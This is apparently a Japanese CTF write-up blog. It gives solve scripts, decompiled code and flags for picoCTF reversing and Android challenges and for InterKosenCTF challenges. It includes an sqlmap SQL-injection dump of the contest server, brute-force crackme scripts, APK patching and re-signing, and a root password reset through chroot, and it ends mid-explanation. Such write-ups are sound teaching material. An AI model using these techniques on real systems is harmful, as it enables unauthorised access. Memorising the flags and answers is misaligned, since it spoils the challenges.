gdb-peda$ start gdb-peda$ jump *main+25 Continuing at 0x55555555498d. Creating key... Program received signal SIGALRM, Alarm clock. Finished Printing flag: PICOCTF{Good job keeping bus #0d11d09e speeding along!} [Inferior 1 (process 1634) exited normally] Warning: not running
PICOCTF{Good job keeping bus #0d11d09e speeding along!}
Time's Up - Points: 400
Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up_1_7d4f79c3df3e1b044801573eea5722be.
実行すると、計算式が表示されてすぐに終了します。手動で計算しても間に合わないので、以下のスクリプトを使って解きました。
from pwn import * p = process("./times-up") question = p.readuntil("\n").split(":")[1] p.sendline(str(eval(question))) p.interactive()
上記のスクリプトを実行すると、フラグが出力されます。
$ python ~/solve.py [+] Starting local process './times-up': pid 4188418 [*] Switching to interactive mode Setting alarm... Solution? Congrats! Here is the flag! picoCTF{Gotta go fast. Gotta go FAST. #3daa579a} [*] Got EOF while reading in interactive $
picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}
asm4 - Points: 400
What will asm4("picoCTF_d899a") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4_3_2774c1aa0f793d4517b90661a765e1a6.
与えられたファイルをGAS用に調整して解きました。
以下のようにプログラムを調整しました。
.intel_syntax noprefix .global asm4 asm4: push ebp mov ebp,esp push ebx sub esp,0x10 mov DWORD PTR [ebp-0x10],0x27d mov DWORD PTR [ebp-0xc],0x0 jmp asm4_27 asm4_23: add DWORD PTR [ebp-0xc],0x1 asm4_27: mov edx,DWORD PTR [ebp-0xc] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] test al,al jne asm4_23 mov DWORD PTR [ebp-0x8],0x1 jmp asm4_138 asm4_51: mov edx,DWORD PTR [ebp-0x8] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] movsx edx,al mov eax,DWORD PTR [ebp-0x8] lea ecx,[eax-0x1] mov eax,DWORD PTR [ebp+0x8] add eax,ecx movzx eax,BYTE PTR [eax] movsx eax,al sub edx,eax mov eax,edx mov edx,eax mov eax,DWORD PTR [ebp-0x10] lea ebx,[edx+eax*1] mov eax,DWORD PTR [ebp-0x8] lea edx,[eax+0x1] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] movsx edx,al mov ecx,DWORD PTR [ebp-0x8] mov eax,DWORD PTR [ebp+0x8] add eax,ecx movzx eax,BYTE PTR [eax] movsx eax,al sub edx,eax mov eax,edx add eax,ebx mov DWORD PTR [ebp-0x10],eax add DWORD PTR [ebp-0x8],0x1 asm4_138: mov eax,DWORD PTR [ebp-0xc] sub eax,0x1 cmp DWORD PTR [ebp-0x8],eax jl asm4_51 mov eax,DWORD PTR [ebp-0x10] add esp,0x10 pop ebx pop ebp ret
こちらは、フラグ表示用のプログラムです。
#include <stdio.h> int main(void) { printf("picoCTF{0x%x}\n", asm4("picoCTF_d899a")); return 0; }
コンパイルして実行すると、フラグが出力されます。
$ gcc -m32 -c test.S -o test.o $ gcc -m32 -c solve.c -o solve.o -w $ gcc -m32 solve.o test.o $ ./a.out picoCTF{0x23e}
picoCTF{0x23e}
droids2 - Points: 400
Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.
まず、APKファイルをzipとして展開し、dex2jarでclasses.dexをjar形式に変換します。
PS> cd two PS> d2j-dex2jar.exe classes.dex
JD-GUIでjarファイルを開き、 com.hellocmu.picoctf.FlagstaffHill.getFlag() を確認すると、以下のようになっていました。
public static String getFlag(String paramString, Context paramContext) { paramContext = new String[6]; paramContext[0] = "weatherwax"; paramContext[1] = "ogg"; paramContext[2] = "garlick"; paramContext[3] = "nitt"; paramContext[4] = "aching"; paramContext[5] = "dismass"; int i = 3 - 3; int j = 3 / 3 + i; int k = j + j - i; int m = 3 + k; if (paramString.equals("".concat(paramContext[m]).concat(".").concat(paramContext[j]).concat(".").concat(paramContext[i]).concat(".").concat(paramContext[(m + i - j)]).concat(".").concat(paramContext[3]).concat(".").concat(paramContext[k]))) { return sesame(paramString); } return "NOPE"; }
「dismass.ogg.weatherwax.aching.nitt.garlick」という文字列と比較しているようです。 パスワードとして「dismass.ogg.weatherwax.aching.nitt.garlick」と入力すると、フラグが表示されます。
picoCTF{what.is.your.favourite.colour}
vault-door-7 - Points: 400
This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java
passwordToIntArrayを見てみると、入力したパスワードをint型に変換している処理が確認できます。 その後、checkPasswordで数値と比較している処理があります。ここで比較している数値がフラグとなります。
public int[] passwordToIntArray(String hex) { int[] x = new int[8]; byte[] hexBytes = hex.getBytes(); for (int i=0; i<8; i++) { x[i] = hexBytes[i*4] << 24 | hexBytes[i*4+1] << 16 | hexBytes[i*4+2] << 8 | hexBytes[i*4+3]; } return x; } public boolean checkPassword(String password) { if (password.length() != 32) { return false; } int[] x = passwordToIntArray(password); return x[0] == 1096770097 && x[1] == 1952395366 && x[2] == 1600270708 && x[3] == 1601398833 && x[4] == 1716808014 && x[5] == 1734305381 && x[6] == 828716089 && x[7] == 895562083; }
int型に変換された文字列を変換するスクリプトを作成しました。
def main(): x = [ 1096770097, 1952395366, 1600270708, 1601398833, 1716808014, 1734305381, 828716089, 895562083 ] flag = b"picoCTF{" for str_i in x: flag += str_i.to_bytes(4, byteorder="big") flag += b"}" print(flag) if __name__ == "__main__": main()
実行すると、フラグが確認できます。
$ python solve.py b'picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}'
picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}
droids3 - Points: 450
Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids3_0_b475775d8018b2a030a38c40e3b0e25c.
apktoolでAPKファイルを展開し、three\smali\com\hellocmu\picoctf\FlagstaffHill.smali を確認します。 getFlagメソッドでは、nopeメソッドが内部で呼ばれています。 しかし、「don\'t wanna」を返すだけなので、意味がありません。 もう1つyepというメソッドがありますが、このメソッドを呼び出す処理がありませんでした。 そのため、以下のコードの7行目のnopeをyepに変更し、yepメソッドを呼び出すように変更しました。
.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String; .locals 1 .param p0, "input" # Ljava/lang/String; .param p1, "ctx" # Landroid/content/Context; .line 19 # invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->nope(Ljava/lang/String;)Ljava/lang/String; invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->yep(Ljava/lang/String;)Ljava/lang/String; move-result-object v0 .line 20 .local v0, "flag":Ljava/lang/String; return-object v0 .end method
smaliファイル編集後、以下のサイトを参考にapktoolでAPKを再ビルドします。
PS> apktool b .\three -o three_2.apk PS> keytool -genkey -dname "c=JP" -keypass 123456 -keystore hoge.keystore -storepass 123456 -validity 10000 -alias hogeapp -keyalg RSA PS> jarsigner -digestalg SHA1 -verbose -signedjar .\three_2.apk -keystore hoge.keystore three_2.apk hogeapp
ビルドされたAPKをAndroidエミュレータ上で実行し、ボタンを押すとyepメソッドが呼び出され、フラグが出力されます。
picoCTF{tis.but.a.scratch}
Time's Up, Again! - Points: 450
Previously you solved things fast. Now you've got to go faster. Much faster. Can you solve this one before time runs out? times-up-again, located in the directory at /problems/time-s-up--again-_4_89723abde97d958ac43dbfb7caeb77ee.
前回より、早く実行する必要があるようです。 pwntoolsを使うのをやめたり、pycompileしたりしているとフラグが出てきました。
import subprocess while True: proc = subprocess.Popen("./times-up-again", stdin=subprocess.PIPE, stdout=subprocess.PIPE) question = proc.stdout.readline()[10:-1] answer = eval(question) proc.stdout.readline() try: proc.stdin.write(str(answer) + "\n") except IOError: continue for _ in range(10): proc.stdout.flush() data = proc.stdout.readline() if data != "": print(data)
かなりの頻度で失敗しますが、何回か実行しているとフラグが出力されました。
$ pycompile /tmp/abcdddd.py $ cd /problems/time-s-up--again-_4_935eacc9828fce7d8ad02710c47603e2/times-up-again $ python /tmp/abcdddd.pyc Solution? Nope! Solution? Nope! picoCTF{Hasten. Hurry. Ferrociously Speedy. #030d7d3f}
picoCTF{Hasten. Hurry. Ferrociously Speedy. #030d7d3f}
vault-door-8 - Points: 450
Apparently Dr. Evil's minions knew that our agency was making copies of their source code, because they intentionally sabotaged this source code in order to make it harder for our agents to analyze and crack into! The result is a quite mess, but I trust that my best special agent will find a way to solve it. The source code for this vault is here: VaultDoor8.java
scrambleやswitchBitsを見ると、色々変換をしている処理が見えます。 結構面倒くさそうなので、ソースコードを以下のように書き換え、総当たりで求めることにしました。
// These pesky special agents keep reverse engineering our source code and then // breaking into our secret vaults. THIS will teach those sneaky sneaks a // lesson. // // -Minion #0891 import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.security.*; class VaultDoor8 { public static void main(String args[]) { // Scanner b = new Scanner(System.in); // System.out.print("Enter vault password: "); // String c = b.next(); // String f = c.substring(8, c.length() - 1); VaultDoor8 a = new VaultDoor8(); char[] flag = new char[32]; for (int i = 0; i < 32; i++) { for (char ch = '!'; ch <= '~'; ch++) { flag[i] = ch; char[] buf = new char[i+1]; System.arraycopy(flag, 0, buf, 0, i+1); if (a.checkPassword(new String(buf))) break; } } System.out.printf("picoCTF{%s}\n", new String(flag)); // if (a.checkPassword(f)) { // System.out.println("Access granted."); // } else { // System.out.println("Access denied!"); // } } public char[] scramble(String password) {/* Scramble a password by transposing pairs of bits. */ char[] a = password.toCharArray(); for (int b = 0; b < a.length; b++) { char c = a[b]; c = switchBits(c, 1, 2); c = switchBits(c, 0, 3); /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ c = switchBits(c, 5, 6); c = switchBits(c, 4, 7); c = switchBits(c, 0, 1); /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ c = switchBits(c, 3, 4); c = switchBits(c, 2, 5); c = switchBits(c, 6, 7); a[b] = c; } return a; } public char switchBits(char c, int p1, int p2) { /* * Move the bit in position p1 to position p2, and move the bit that was in * position p2 to position p1. Precondition: p1 < p2 */ char mask1 = (char) (1 << p1); char mask2 = (char) (1 << p2); /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ char bit1 = (char) (c & mask1); char bit2 = (char) (c & mask2); /* * System.out.println("bit1 " + Integer.toBinaryString(bit1)); * System.out.println("bit2 " + Integer.toBinaryString(bit2)); */ char rest = (char) (c & ~(mask1 | mask2)); char shift = (char) (p2 - p1); char result = (char) ((bit1 << shift) | (bit2 >> shift) | rest); return result; } public boolean checkPassword(String password) { char[] scrambled = scramble(password); char[] expected = { 0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC1, 0xF1, 0xD0, 0x95, 0x94, 0xD1, 0xA5, 0xC2, 0xD0 }; for (int i = 0; i < scrambled.length; i++) { if (scrambled[i] != expected[i]) return false; } return true; // return Arrays.equals(scrambled, expected); } }
実行すると、フラグが表示されます。
$ javac VaultDoor8.java $ java VaultDoor8 picoCTF{s0m3_m0r3_b1t_sh1fTiNg_471ea5f81}
picoCTF{s0m3_m0r3_b1t_sh1fTiNg_471ea5f81}
Forky - Points: 500
In this program, identify the last integer value that is passed as parameter to the function doNothing(). The binary is also found in /problems/forky_0_a39672953af93d29d20b29500b5f772c on the shell server.
同じような動作をするプログラムを作成しました。
doNothing
関数のところで、tidと引数の値を出力するように一部変更してあります。
#include <sys/mman.h> #include <unistd.h> #include <sys/syscall.h> #include <stdio.h> void doNothing(int num) { printf("tid: %ld, picoCTF{%d}\n", syscall(SYS_gettid), num); } int main(void) { int *piVar1; piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0); *piVar1 = 1000000000; fork(); fork(); fork(); fork(); *piVar1 = *piVar1 + 0x499602d2; doNothing(*piVar1); return 0; }
実行して、出力結果をソートします。最後の行がフラグとなります。
$ gcc solve.c $ ./a.out | sort | tail -n 1 tid: 11680, picoCTF{-721750240}
picoCTF{-721750240}
droids4 - Points: 500
reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.
まずは、d2j-dex2jar.exe を使ってdexファイルをjarファイルに変換してコードを確認してみます。
PS> Rename-Item .\four.apk .\four.zip PS> Expand-Archive four.zip PS> cd .\four\ PS> d2j-dex2jar.exe .\classes.dex
生成されたclasses-dex2jar.jar を jd-gui.exe で開くと、以下のような処理が確認できます。
public class FlagstaffHill { public static native String cardamom(String paramString); public static String getFlag(String paramString, Context paramContext) { paramContext = new StringBuilder("aaa"); StringBuilder localStringBuilder1 = new StringBuilder("aaa"); StringBuilder localStringBuilder2 = new StringBuilder("aaa"); StringBuilder localStringBuilder3 = new StringBuilder("aaa"); paramContext.setCharAt(0, (char)(paramContext.charAt(0) + '\004')); paramContext.setCharAt(1, (char)(paramContext.charAt(1) + '\023')); paramContext.setCharAt(2, (char)(paramContext.charAt(2) + '\022')); localStringBuilder1.setCharAt(0, (char)(localStringBuilder1.charAt(0) + '\007')); localStringBuilder1.setCharAt(1, (char)(localStringBuilder1.charAt(1) + '\000')); localStringBuilder1.setCharAt(2, (char)(localStringBuilder1.charAt(2) + '\001')); localStringBuilder2.setCharAt(0, (char)(localStringBuilder2.charAt(0) + '\000')); localStringBuilder2.setCharAt(1, (char)(localStringBuilder2.charAt(1) + '\013')); localStringBuilder2.setCharAt(2, (char)(localStringBuilder2.charAt(2) + '\017')); localStringBuilder3.setCharAt(0, (char)(localStringBuilder3.charAt(0) + '\016')); localStringBuilder3.setCharAt(1, (char)(localStringBuilder3.charAt(1) + '\024')); localStringBuilder3.setCharAt(2, (char)(localStringBuilder3.charAt(2) + '\017')); if (paramString.equals("".concat(localStringBuilder2.toString()).concat(localStringBuilder1.toString()).concat(paramContext.toString()).concat(localStringBuilder3.toString()))) { return "call it"; } return "NOPE"; } }
パスワード比較をしていそうな処理と、呼び出されていないネイティブメソッドがあります。
次に apktool を使ってapkファイルを展開し、smaliファイルに変換します。
PS> apktool d four.apk
smaliファイルを以下のように変更します。
- パスワードが正しくない場合、パスワードを戻り値に設定する。
- パスワードが正しい場合、第1引数に入力した文字列を指定して、cardamomメソッドを呼び出す。
.method public static native cardamom(Ljava/lang/String;)Ljava/lang/String; .end method .method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String; .locals 8 .param p0, "input" # Ljava/lang/String; .param p1, "ctx" # Landroid/content/Context; # 省略 move-result-object v4 .line 36 .local v4, "password":Ljava/lang/String; invoke-virtual {p0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v5 if-eqz v5, :cond_0 # const-string v5, "call it" # return-object v5 invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->cardamom(Ljava/lang/String;)Ljava/lang/String; move-result-object v5 return-object v5 .line 37 :cond_0 const-string v5, "NOPE" # return-object v5 return-object v4 .end method
smaliファイル編集後、以下のサイトを参考にapktoolでAPKを再ビルドします。
PS> apktool b .\four\ -o four_2.apk PS> keytool -genkey -dname "c=JP" -keypass 123456 -keystore hoge.keystore -storepass 123456 -validity 10000 -alias hogeapp -keyalg RSA PS> jarsigner -digestalg SHA1 -verbose -signedjar .\four_2.apk -keystore hoge.keystore four_2.apk hogeapp
ビルドされたAPKをAndroidエミュレータ上で実行します。 何も入力せずにボタンを押すと、パスワード「alphabetsoup」が出力されます。 「alphabetsoup」と入力して、ボタンを押すとcardamomメソッドが呼び出され、フラグが出力されます。
picoCTF{not.particularly.silly}
InterKosenCTF Writeup
- InterKosenCTF について
- InterKosenCTF Writeup(8問)
InterKosenCTF について
InterKosenCTFが開催されました。
2019年8月11日午前10時~2019年8月12日午後10時(36時間)
今回たまたま紹介があったので参加しました。 タイトルにKosenと入っているので、高専生だけかと思いましたが、特にそういった制限はないようです。
競技がスタートしてからしばらくの間、ずっと504が返ってきており、フラグが投入できない感じになっていました。 午後から安定してきて、快適に使えるようになっていました。運営さんお疲れ様です。
今回は、2人のチームで参加しました。結果は、20/91位で3214点でした。 すべての問題を見れていませんが、他のCTFと違い、易しめの問題が多くあった印象でした。 SECCON Beginnersと同じぐらいの難易度だと思います。
InterKosenCTF Writeup(8問)
私が実際に解いた8つの問題だけを紹介します。
uploader(warmup, web)
問題
uploader:
TAGS: warmup, web
URL: http://web.kosenctf.com:11000/
解答例
http://web.kosenctf.com:11000/ にアクセスすると、ファイルのアップロードとダウンロードができるWebサービスが表示されました。
左上に「view source」とあり、ソースコードを見ることができるようです。 ソースコードを読んでみると、以下のようにGETパラメータをそのままSQL文に入れている箇所がありました。 SQLインジェクションができそうです。
テーブル名も見えているので、sqlmapでfilesテーブルをダンプさせました。
$ sqlmap -u "http://web.kosenctf.com:11000/?search=1" --dump -T files # 省略 +----+------------------------------------------+-----------------------------------------------+ | id | name | passcode | +----+------------------------------------------+-----------------------------------------------+ | 1 | secret_file | the_longer_the_stronger_than_more_complicated | | 2 | pay.php | t | | 3 | download20190804152602.png | hogehoge | | 4 | up1337.txt | 41414141 | | 5 | echo.php | 1234 | | 6 | hoge.txt | hogehoge | | 7 | payload.txt | test | | 8 | unko.php | 114514 | | 9 | hogehoge.txt | 5534bjhdhiudh | | 10 | test.txt | aaa | | 11 | fugefblwugjrwabgewagehwalufvwufvujbhrgrg | hogehoge | +----+------------------------------------------+-----------------------------------------------+ #省略
「secret_file」というファイルがあり、「passcode」も分かりました。 取得できた「passcode」でファイルをダウンロードすると、フラグが確認できました。
FLAG
KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}
basic crackme(easy, reversing)
問題
basic crackme:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/709fe7de50a7466099fd27a60ed457cd/basic_crackme.tar.gz
解答例
ファイルをダウンロードすると、64bitのELFバイナリが出てきました。
$ file crackme crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped
とりあえず実行してみると、ヘルプが表示されました。 どうやらコマンドライン引数に正しいフラグを与えなければならないようです。
$ ./crackme <usage> ./crackme: <flag> $ ./crackme aaaaaaa Try harder!
バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、コマンドライン引数に指定したフラグの文字数分だけ比較をして正しければ、 「Yes. This is the your flag :)」と表示されるようになっていました。
試しに、「KosenCTF{」と入力してみると、「Yes. This is the your flag :)」と表示されました。
$ ./crackme KosenCTF{
Yes. This is the your flag :)
ここまで分かれば、後は総当たりでフラグを求めることができます。
import subprocess import sys import string def main(): flag = "KosenCTF{" while True: for ch in string.printable: test_flag = flag + ch res = subprocess.run(["./crackme", test_flag], stdout=subprocess.PIPE) answer = res.stdout if "Yes. This is the your flag :)" in answer.decode("utf-8"): flag = test_flag if ch == '}': print(flag) sys.exit() break if __name__ == "__main__": main()
$ python3 solve.py KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}
FLAG
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}
Kurukuru Shuffle(easy, crypto)
問題
Kurukuru Shuffle:
TAGS: easy, crypto
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/dc802db1cbf94ae793680eeeb92b78b7/kurukuru_shuffle.tar.gz
解答例
ファイルをダウンロードすると、2つのファイル(shuffle.py、encrypted)が出てきました。
- shuffle.py
from secret import flag from random import randrange def is_prime(N): if N % 2 == 0: return False i = 3 while i * i < N: if N % i == 0: return False i += 2 return True L = len(flag) assert is_prime(L) encrypted = list(flag) k = randrange(1, L) while True: a = randrange(0, L) b = randrange(0, L) if a != b: break i = k for _ in range(L): s = (i + a) % L t = (i + b) % L encrypted[s], encrypted[t] = encrypted[t], encrypted[s] i = (i + k) % L encrypted = "".join(encrypted) print(encrypted)
- encrypted
1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm
タイトル通り、フラグを3つのランダムな値(k、a、b (1 ≦ k ≦ 53、a ≠ b))を基にシャッフルするプログラムとなっていました。 shuffle.pyと同じアルゴリズムを使い、総当たりで「encrypted」の文字列をシャッフルさせるプログラムを作成しました。
import itertools import re def main(): enc_flag = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm" L = len(enc_flag) flag_candidate = set() for k, a, b in itertools.product(range(0, L), repeat=3): encrypted = list(enc_flag) if k == 0 or a == b: continue i = k for _ in range(L): s = (i + a) % L t = (i + b) % L encrypted[s], encrypted[t] = encrypted[t], encrypted[s] i = (i + k) % L flag = "".join(encrypted) if re.match("^KosenCTF(.*)}$", flag): flag_candidate.add(flag) for flag in flag_candidate: print(flag) if __name__ == "__main__": main()
実行してみると以下の通り、3パターンのフラグが出力されました。 一番上のフラグが正しいフラグとなっていました。
$ python3 .\solve.py KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915} KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u} KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}
FLAG
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
Hugtto!(easy, forensics)
問題
Hugtto!:
TAGS: easy, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/ec6974b719ea4ea99fe2b7460b121297/hugtto.tar.gz
解答例
ファイルをダウンロードすると、2つのファイル(steg.py、steg_emiru.png)が出てきました。
- steg.py
from PIL import Image from secret import flag from datetime import datetime import tarfile import sys import random random.seed(int(datetime.now().timestamp())) bin_flag = [] for c in flag: for i in range(8): bin_flag.append((ord(c) >> i) & 1) img = Image.open("./emiru.png") new_img = Image.new("RGB", img.size) w, h = img.size i = 0 for x in range(w): for y in range(h): r, g, b = img.getpixel((x, y)) rnd = random.randint(0, 2) if rnd == 0: r = (r & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) elif rnd == 1: g = (g & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) elif rnd == 2: b = (b & 0xFE) | bin_flag[i % len(bin_flag)] new_img.putpixel((x, y), (r, g, b)) i += 1 new_img.save("./steg_emiru.png") with tarfile.open("stegano.tar.gz", "w:gz") as tar: tar.add("./steg_emiru.png") tar.add(sys.argv[0])
- steg_emiru.png
ザっと見た感じ、ステガノグラフィ系の問題のようです。 ソースコードを読んでみるとsteg.pyは、以下の手順フラグを画像に隠していることが分かりました。
- 現在の時刻を基に乱数のseed値を生成する。
- フラグの文字列をビットに変換する。
- 0~2の乱数を生成し、0なら赤、1なら緑、2なら青の最下位ビットにフラグのビットを挿入する。
- 3を画像のピクセル数分繰り返す。
- 画像をtar.gzで圧縮し、ファイルとして保存する。
上記と逆の手順を行うプログラムを作成しました。 初期seed値が正確に分からないので、「steg_emiru.png」のタイムスタンプから1秒ずつ遡りながら、 可読文字列が現れるまで、復号を繰り返すようにしました。
from PIL import Image import string import random import os def decrypt_steg(timestamp, filepath): random.seed(timestamp) bin_flag = [] img = Image.open(filepath) w, h = img.size i = 0 for x in range(w): for y in range(h): r, g, b = img.getpixel((x, y)) rnd = random.randint(0, 2) if rnd == 0: r, g, b = img.getpixel((x, y)) bin_flag.append(r & 1) elif rnd == 1: r, g, b = img.getpixel((x, y)) bin_flag.append(g & 1) elif rnd == 2: r, g, b = img.getpixel((x, y)) bin_flag.append(b & 1) i += 1 flag = "" for b in zip(*[iter(bin_flag)] * 8): c = 0 for i in range(8): c = c | (b[i] << i) flag += chr(c) return flag def main(): filepath = "./steg_emiru.png" timestamp = int(os.stat(filepath).st_mtime) for i in range(10): flag = decrypt_steg(timestamp - i, filepath) if all(c in string.printable for c in flag): print(flag) break if __name__ == "__main__": main()
上記のプログラムを実行すると、フラグを取得することができました。
$ python3 .\solve.py KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}K # 省略
FLAG
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}
lost world(easy, forensics)
問題
lost world:
TAGS: easy, forensics
FILE: https://mega.nz/#!xxMgQAyb!8NxVb2uLE-duIc5OardUdSNh_5j4QbbpxBggjZ0asvE
Message:
Can you restore my root user? I don't remember the password. Try runningdmesg | grep KosenCTF
after logging in.
解答例
大きめのファイルをダウンロードすると、vdi形式のファイル(lost_world.vdi)が出てきました。 問題にもある通り、パスワードを忘れてしまったPCにログインできれば、良いようです。 以下の手順でrootのパスワードを変更してログインすることにしました。
- VirtualBoxに「lost_world.vdi」とUbuntuのライブDVDを刺した状態にし、UbuntuのライブDVDを起動します。
- 「Ubuntuを試す」を選択する。
- Terminal(Ctrl-Alt-T)を起動する。
- rootユーザになる。
$ sudo su
- マウントすべきディスクを探す。
$ fdisk -l
- 対象のディスクをマウントする。
$ mkdir /mnt/lost_world $ mount /dev/sda1 /mnt/lost_world
- chrootでルートディレクトリを変更する。
$ chroot /mnt/lost_world
- rootのパスワードを任意の値に変更する。
$ passwd root
- 終了して再起動する。lost_world.vdi側を起動させる。
- rootユーザでログインします。
- 「dmesg | grep KosenCTF」と入力するとフラグが取得できます。
FLAG
KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}
magic function(easy, reversing)
問題
magic function:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/8e731bccdb9546bb94c03cee5bac62bf/magic_function.tar.gz
解答例
ファイルをダウンロードすると、64bitのELFバイナリが出てきました。
$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped
とりあえず実行してみると、「NG」とだけ表示されます。
$ ./chall NG
バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、「basic crackme」と違い、今度はコマンドライン引数に完全なフラグを与える必要があるようです。 正しいフラグの場合、「OK」と表示されます。
今回は、angrを使って解きました。 フラグサイズ(0x18)と成功時に到達するアドレス(0x40086a)を指定しただけのスクリプトです。
import angr import claripy def main(): p = angr.Project("./chall") flag = claripy.BVS("flag", 8 * 0x18) state = p.factory.entry_state(args=["./chall", flag]) simgr = p.factory.simgr(state) simgr.explore(find=0x40086a) print(simgr.found[0].solver.eval(flag, cast_to=bytes)) if __name__ == "__main__": main()
上記スクリプトを実行すると、フラグが表示されました。
FLAG
KosenCTF{fl4ggy_p0lyn0m}
passcode(easy, reversing)
問題
passcode:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/6a5e27eb80a44468ad8bf77c2a94a16a/passcode.tar.gz
解答例
ファイルをダウンロードすると、32bitのPEファイルが出てきました。
$ file passcode.exe passcode.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
とりあえず実行してみると、以下のようなキーパットが出てきました。 この9つのボタンを正しく入力すると、フラグが出てくるようです。
32bitの.NET assemblyなので、dnspy-x86で開いてみました。
// 省略 namespace passcode { // Token: 0x02000002 RID: 2 public class Form1 : Form { // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 public Form1() { this.InitializeComponent(); this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838" select (int)(c - '0')).ToList<int>(); this.debug(); this.reset(); } // Token: 0x06000002 RID: 2 RVA: 0x000020AC File Offset: 0x000002AC private void reset() { this.vars = new List<int> { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; this.indices = new List<int>(); this.state = new List<int>(); } // Token: 0x06000003 RID: 3 RVA: 0x0000211C File Offset: 0x0000031C private void shuffle() { int num = 0; foreach (int num2 in this.state) { num = num * 10 + num2; } Random random = new Random(num); for (int i = 0; i < 9; i++) { int index = random.Next(9); int value = this.vars[i]; this.vars[i] = this.vars[index]; this.vars[index] = value; } } // Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC private void push(int index) { this.indices.Add(index); this.state.Add(this.vars[index]); this.shuffle(); if (this.state.SequenceEqual(this.correct_state)) { string text = ""; for (int i = 0; i < this.indices.Count / 3; i++) { text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString(); } MessageBox.Show(text, "Correct!"); } } // Token: 0x06000005 RID: 5 RVA: 0x00002284 File Offset: 0x00000484 private void Button1_Click(object sender, EventArgs e) { int index = int.Parse(((Button)sender).Name.Substring(6)) - 1; this.push(index); } // 省略
ソースコードを読んでみると、正しいstateになるようにキーを123回入力する必要があるようです。 しかも、キー入力のたびに、shuffle関数によって、入力値がランダムで並び替えられてしまいます。 幸いにもseed値は、現在のstateから算出しているため容易に予測することができます。
上記のことを踏まえ、dnspy-x86の機能を使い、以下のようにpush関数を書き換えました。 どれかのボタンが入力されると、フラグが出力されるように変更しています。
